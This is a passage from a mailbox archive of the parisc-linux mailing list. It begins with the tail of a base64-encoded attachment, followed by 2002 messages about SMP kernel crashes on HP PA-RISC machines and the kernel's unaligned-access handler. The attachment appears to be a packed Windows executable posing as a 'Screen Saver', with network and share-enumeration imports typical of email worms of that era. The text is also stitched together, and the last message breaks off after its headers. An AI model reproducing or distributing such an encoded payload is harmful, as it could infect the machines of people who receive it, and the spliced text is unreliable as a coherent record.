AQbGAwCYaQDd7BsJ8aANQAsDBEx2s2AzBxswAcDGZkEIDBAHNtjL3gYAiKVSIDe3AiTiGAehVIOJ
K2woAh4upgJ7IRvsboKQkJiSArK5InhgLnLF+7DmspkbFLACQN5pNrwuJgc8VsAHWhVtyifAT2yV
jb3nC+vzc/BPANB+vxtQqA21JwkAAAAAAAAASP8AAAAAAAAAAABgvgDwQACNvgAg//9Xg83/6xCQ
kJCQkJCKBkaIB0cB23UHix6D7vwR23LtuAEAAAAB23UHix6D7vwR2xHAAdtz73UJix6D7vwR23Pk
McmD6ANyDcHgCIoGRoPw/3R0icUB23UHix6D7vwR2xHJAdt1B4seg+78EdsRyXUgQQHbdQeLHoPu
/BHbEckB23PvdQmLHoPu/BHbc+SDwQKB/QDz//+D0QGNFC+D/fx2D4oCQogHR0l19+lj////kIsC
g8IEiQeDxwSD6QR38QHP6Uz///9eife5PAEAAIoHRyzoPAF394A/A3XyiweKXwRmwegIwcAQhsQp
+IDr6AHwiQeDxwWJ2OLZjb4AIAEAiwcJwHRFi18EjYQwGEcBAAHzUIPHCP+WuEcBAJWKB0cIwHTc
ifl5Bw+3B0dQR7lXSPKuVf+WvEcBAAnAdAeJA4PDBOvY/5bARwEAYek7Hf//AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAwAAACgAAIAOAAAAaAAAgBAAAACoAACAAAAAAAAAAAAA
AAAAAAABAAEAAABAAACAAAAAAAAAAAAAAAAAAAABAAkEAABYAAAA7FABAOgCAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAQBsAAAAgAAAgAAAAAAAAAAAAAAAAAAAAQAJBAAAmAAAANhTAQAUAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAEAAQAAAMAAAIAAAAAAAAAAAAAAAAAAAAEACQQAANgAAADwUwEA
KAMAAAAAAAAAAAAAGCQBACgAAAAgAAAAQAAAAAEABAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP//
AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAPoAAAAAAAAAAAAAAAAAAAD6AAAAAAAAAAAAAAAAAAAPqqAAAAAAAAAAAAAAAAAAD6qgAAAA
AAAAAAAAAAAAAPqqqgAAAAAAAAAAAAAAAAD6qqoAAAAAAAAAAAAAAAAPqqqqoAAAAAAAAAAAAAAA
+qqqqqoAAAAAAAAAAAAAD6qqqqqqoAAAAAAAAAAAAA+qqqqqqqAAAAAAAAAAAAD6qqqqqqqqAAAA
AAAAAAAPqqqqqqqqqqAAAAAAAAAA+qqqqqqqqqqqAAAAAAAAD6qqqqqqqqqqqqAAAAAAAPqqqqqq
qqqqqqqqAAAAAAD6qqqqqqqqqqqqqgAAAAAPqqqqqqqqqqqqqqqgAAAAD6qqqqqqqqqqqqqqoAAA
APqqqqqqqqqqqqqqqqoAAAD6qqqqqqqvqqqqqqqqAAAA+qqqqqqqAPqqqqqqqgAAAPqqqqqqqgD6
qqqqqqoAAAAPqqqqqqAAD6qqqqqgAAAAD6qqqqqgAA+qqqqqoAAAAAD/qqqqAAAA/6qqqgAAAAAA
AP///wAAAAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAD//////////////////H////x////4P///+D////Af///wH///4A///8AH//+AA///gAP/
/wAB//4AAP/8AAB/+AAAP/AAAB/wAAAf4AAAD+AAAA/AAAAHwAAAB8ABAAfAAQAH4AOAD+ADgA/w
B8Af/A/wP////////////////wAnAQAAAAEAAQAgIBAAAQAEAOgCAAABAPAgAQAoAzQAAABWAFMA
XwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAUAAgAAAAAABQACAAAAPwAA
AAAAAAAEAAQAAQAAAAAAAAAAAAAAAAAAAIgCAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYA
bwAAAGQCAAABADAANAAwADkAMAA0AGIAMAAAADIADQABAEMAbwBtAG0AZQBuAHQAcwAAAFMAYwBy
AGUAZQBuACAAUwBhAHYAZQByAAAAAABIABQAAQBDAG8AbQBwAGEAbgB5AE4AYQBtAGUAAAAAAHcA
dwB3AC4AcwBjAHIAZQBlAG4AcwBhAHYAZQByAC4AYwBvAG0AAABCAA0AAQBGAGkAbABlAEQAZQBz
AGMAcgBpAHAAdABpAG8AbgAAAAAAUwBjAHIAZQBlAG4AIABTAGEAdgBlAHIAAAAAADYACwABAEYA
aQBsAGUAVgBlAHIAcwBpAG8AbgAAAAAANQAsACAAMAAsACAAMAAsACAAMgAAAAAAIAAAAAEASQBu
AHQAZQByAG4AYQBsAE4AYQBtAGUAAABGABEAAQBMAGUAZwBhAGwAQwBvAHAAeQByAGkAZwBoAHQA
AABDAG8AcAB5AHIAaQBnAGgAdAAgAKkAIAAyADAAMAAyAAAAAAAoAAAAAQBMAGUAZwBhAGwAVABy
AGEAZABlAG0AYQByAGsAcwAAAAAAKAAAAAEATwByAGkAZwBpAG4AYQBsAEYAaQBsAGUAbgBhAG0A
ZQAAACAAAAABAFAAcgBpAHYAYQB0AGUAQgB1AGkAbABkAAAAIAAAAAEAUAByAG8AZAB1AGMAdABO
AGEAbQBlAAAAAAA6AAsAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAA1ACwAIAAwACwA
IAAwACwAIAAyAAAAAAAgAAAAAQBTAHAAZQBjAGkAYQBsAEIAdQBpAGwAZAAAAEQAAAABAFYAYQBy
AEYAaQBsAGUASQBuAGYAbwAAAAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAJBLAE
AAAAAAAAAAAAAAAA+FcBALhXAQAAAAAAAAAAAAAAAAAFWAEAyFcBAAAAAAAAAAAAAAAAABJYAQDQ
VwEAAAAAAAAAAAAAAAAAHFgBANhXAQAAAAAAAAAAAAAAAAAkWAEA4FcBAAAAAAAAAAAAAAAAAC9Y
AQDoVwEAAAAAAAAAAAAAAAAAO1gBAPBXAQAAAAAAAAAAAAAAAAAAAAAAAAAAAEZYAQBUWAEAZFgB
AAAAAAByWAEAAAAAAIBYAQAAAAAAiFgBAAAAAACYWAEAAAAAAKBYAQAAAAAAdAAAgAAAAABLRVJO
RUwzMi5ETEwAQURWQVBJMzIuZGxsAEdESTMyLmRsbABNUFIuZGxsAFVTRVIzMi5kbGwAV0lOSU5F
VC5kbGwAV1MyXzMyLmRsbAAAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MAAEV4aXRQcm9j
ZXNzAAAAUmVnQ2xvc2VLZXkAAABCaXRCbHQAAFdOZXRDbG9zZUVudW0AAABHZXREQwAAAEludGVy
bmV0R2V0Q29ubmVjdGVkU3RhdGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAn+pBjpQtD8ytJ5Q9jk0ONzdlMppAKIeb6NI4Zm1YiiDzB80UOT0O35sAWPJg2HfLyokCAcPY
2TmwCqU4zes80KuRxQyxprHW21iThWWuRsv0mluQxz6mkyHpOZJsHDmU7rfEkGT1NsPGP0W9cAZ8
wdJCqUJZDKo0BE0SXUDQdumoMp5U5BKm81ZlB7WmZilCJbKWeZtDdQ+05PM9cD0ZnIMC9Z8FEEmd
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
kA==
--hvgmmdq--


From - Thu Nov 08 21:24:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP kernel problems on a D350
Date: Fri, 20 Sep 2002 16:55:59 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200209202056.g8KKu0XM019968@hiauly1.hia.nrc.ca>
References: <20020920205012.GF4909@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621744 14279 80.91.229.3 (22 Nov 2014 02:02:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:24 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, jeremyd@apptechsys.com,
	frts@simba.sch.bme.hu, grundler@dsl2.external.hp.com,
	parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 14:56:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 12F5D483B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 14:56:07 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g8KKu000019970;
	Fri, 20 Sep 2002 16:56:01 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g8KKu0XM019968;
	Fri, 20 Sep 2002 16:56:00 -0400 (EDT)
In-Reply-To: <20020920205012.GF4909@tausq.org> from "Randolph Chung" at Sep 20, 2002 01:50:12 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16212

> > Is there a way to turn off the unaligned handler?  It may be hiding
> > bad stuff going on in userland.  There are still cases where expect
> > causes a continuous sequence of unaligned faults.
> 
> not at runtime, but i can build a kernel with this turned off and let
> you test it.

Is there any software that actually needs the unaligned handler?
I think it would be useful for test purposes to have a kernel with
it off.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:24:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP kernel problems on a D350
Date: Fri, 20 Sep 2002 14:51:47 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20020920215147.GG4909@tausq.org>
References: <20020920205012.GF4909@tausq.org> <200209202056.g8KKu0XM019968@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621744 14282 80.91.229.3 (22 Nov 2014 02:02:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:24 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, jeremyd@apptechsys.com,
	frts@simba.sch.bme.hu, grundler@dsl2.external.hp.com,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 15:51:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 174D0482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 15:51:11 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 4A21DCD83C; Fri, 20 Sep 2002 14:51:47 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200209202056.g8KKu0XM019968@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16213

> Is there any software that actually needs the unaligned handler?
> I think it would be useful for test purposes to have a kernel with
> it off.

off the top of my head....

in the kernel, the usb driver has some unaligned accesses.

in userspace, several of the network utilities (tcpdump, nmap, etc) make
unaligned accesses

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:24:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP kernel problems on a D350
Date: Fri, 20 Sep 2002 16:11:01 -0700 (PDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0209201608450.20374-100000@garibaldi.apptechsys.com>
References: <87hegkv1m3.fsf@rover.gag.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621745 14284 80.91.229.3 (22 Nov 2014 02:02:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bdale Garbee <bdale@gag.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 17:11:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 270014829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 17:11:03 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ssh.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id 3FB6E7BC45; Fri, 20 Sep 2002 16:11:01 -0700 (PDT)
In-Reply-To: <87hegkv1m3.fsf@rover.gag.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16214

On 20 Sep 2002, Bdale Garbee wrote:

> jeremyd@apptechsys.com (Jeremy Drake) writes:
> 
> > For me, the last kernel that didn't crash on my J5000 in smp mode while
> > doing apt-get update was kernel-image-2.4.17-32-smp_23.1_hppa.deb
> 
> I've had good luck with the 2.4.19 kernel images I've uploaded to unstable,
> which are built and running on my J5000 in 64-bit SMP mode.  I don't promise
> they're "stable", but the apt-get update problem is gone.
I have installed 2.4.19-32-smp and 2.4.19-64-smp from unstable.  The 
32-bit one seems to still have the apt-get update problem, and will not 
run X (no surprise there).  However, 64bit seems to be fairly stable (will 
do apt-get update and will run X).  And here I thought 64-bit was LESS 
stable than 32 :)  


 > > Bdale
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 

-- 
The rose of yore is but a name, mere names are left to us.



From - Thu Nov 08 21:24:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP kernel problems on a D350
Date: Fri, 20 Sep 2002 16:46:23 -0700 (PDT)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0209201616460.20374-100000@garibaldi.apptechsys.com>
References: <Pine.LNX.4.44.0209201608450.20374-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621745 14285 80.91.229.3 (22 Nov 2014 02:02:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bdale Garbee <bdale@gag.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 17:46:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F9E84829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 20 Sep 2002 17:46:25 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ssh.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id 647E97BC45; Fri, 20 Sep 2002 16:46:23 -0700 (PDT)
In-Reply-To: <Pine.LNX.4.44.0209201608450.20374-100000@garibaldi.apptechsys.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16215

Sorry for replying to myself, but I forgot to mention the one problem I 
have had with the 2.4.19-64-smp so far.  Setserial locked it up on 
2.4.19-64-smp (no hpmc or error message, just locked up).  After disabling 
setserial, everything was fine.


 On Fri, 20 Sep 2002, Jeremy Drake wrote:

> On 20 Sep 2002, Bdale Garbee wrote:
> 
> > jeremyd@apptechsys.com (Jeremy Drake) writes:
> > 
> > > For me, the last kernel that didn't crash on my J5000 in smp mode while
> > > doing apt-get update was kernel-image-2.4.17-32-smp_23.1_hppa.deb
> > 
> > I've had good luck with the 2.4.19 kernel images I've uploaded to unstable,
> > which are built and running on my J5000 in 64-bit SMP mode.  I don't promise
> > they're "stable", but the apt-get update problem is gone.
> I have installed 2.4.19-32-smp and 2.4.19-64-smp from unstable.  The 
> 32-bit one seems to still have the apt-get update problem, and will not 
> run X (no surprise there).  However, 64bit seems to be fairly stable (will 
> do apt-get update and will run X).  And here I thought 64-bit was LESS 
> stable than 32 :)  
> 
> 
>  > > Bdale
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > 
> 
> 

-- 
"You need tender loving care once a week - so that I can slap you into shape."
- Ellyn Mustard



From - Thu Nov 08 21:24:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Robert Stanford <rob@rotapile.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP kernel problems on a D350
Date: 21 Sep 2002 09:55:11 +1000
Lines: 26
Approved: news@gmane.org
Message-ID: <1032566113.28402.20.camel@rotapile>
References: <Pine.LNX.4.44.0209201608450.20374-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621745 14287 80.91.229.3 (22 Nov 2014 02:02:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:02:25 +0000 (UTC)
To: Parisc <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 20 17:55:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rotapile (rotapile.winshop.com.au [210.8.124.204])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33A1A4829
	for <parisc-linux@parisc-linux.org>; Fri, 20 Sep 2002 17:55:20 -0600 (MDT)
Original-Received: from localhost ([127.0.0.1] helo=localhost.localdomain)
	by rotapile with esmtp (Exim 3.35 #1 (Debian))
	id 17sXc9-0001pP-00
	for <parisc-linux@parisc-linux.org>; Sat, 21 Sep 2002 09:55:13 +1000
